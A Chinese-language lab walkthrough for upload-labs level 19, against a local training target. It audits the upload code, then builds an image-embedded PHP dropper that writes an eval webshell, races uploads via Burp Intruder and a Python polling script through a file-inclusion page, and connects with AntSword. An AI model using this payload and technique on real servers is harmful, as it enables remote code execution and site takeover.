简介

upload-labs的第19关中,攻击是通过上传图片马来实现的。与第18关相比,这一关增加了对文件后缀名的检测,禁止直接上传 PHP 文件。因此,你需要上传一个图片马,并使用文件包含漏洞来访问它。具体步骤与第18关类似。

这里有一个细节,由于可能是这个靶场的作者的某种原因可能有误,上传的图片路径不是放在upload文件夹下,所以我们要进去修改一下第19关的代码文件

要改成如下图的样子并保存重启靶场

打开第19关,发现还是需要代码审计。那么再来看看源码吧。

$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

从源码来看,服务器首先将文件后缀与白名单进行对比,然后检查文件的大小以及是否已存在。上传文件后,服务器还会对文件进行重命名。

因此,直接上传 PHP 文件是不可能的,只能上传图片马。而且需要在图片马被重命名之前进行访问。要让图片马成功执行,还需要结合其他漏洞,比如文件包含漏洞或 Apache 解析漏洞等。

攻击步骤

  1. 编写webshell脚本

这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。

<?php fputs(fopen('pass19.php','w'),'<?php @eval($_POST["pass"])?>');?>
  1. 生产图片马

  1. 上传图片马,用BP拦截(基本上在BP上的操作跟上面第18关没区别)


转到Intruder 工具栏,点击Clear$,如下图所示:

接着设置无限发送空的Payloads,如下图所示。来让它一直上传该文件。

最后建议这里把线程设置高一点。好像最后是20个线程,完成后, 如下图所示:

  1. 然后我们要修改一下python脚本,不能再用回第18关的脚本了,这里脚本要修改为文件包含来访问。
import requests
url = "http://localhost/include.php?file=upload/pass19.gif"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break

  1. 接下来我们可以用BP进行攻击,点击Start attack开始攻击。并同时运行python脚本。

当出现OK说明访问到了该文件,那么pass19.php应该也创建成功了,用蚁剑连一下试试。

这里注意一下蚁剑连接的URLhttp://localhost/upload/pass19.php,如下图所示:

总结

Upload-Lab第19关中,结合图片马和条件竞争技巧可以绕过上传限制。攻击者首先上传一个合法图片,通过条件竞争在服务器验证图片后但处理完成前,将其替换为包含恶意代码的图片马,最终成功执行恶意代码,实现上传限制的突破。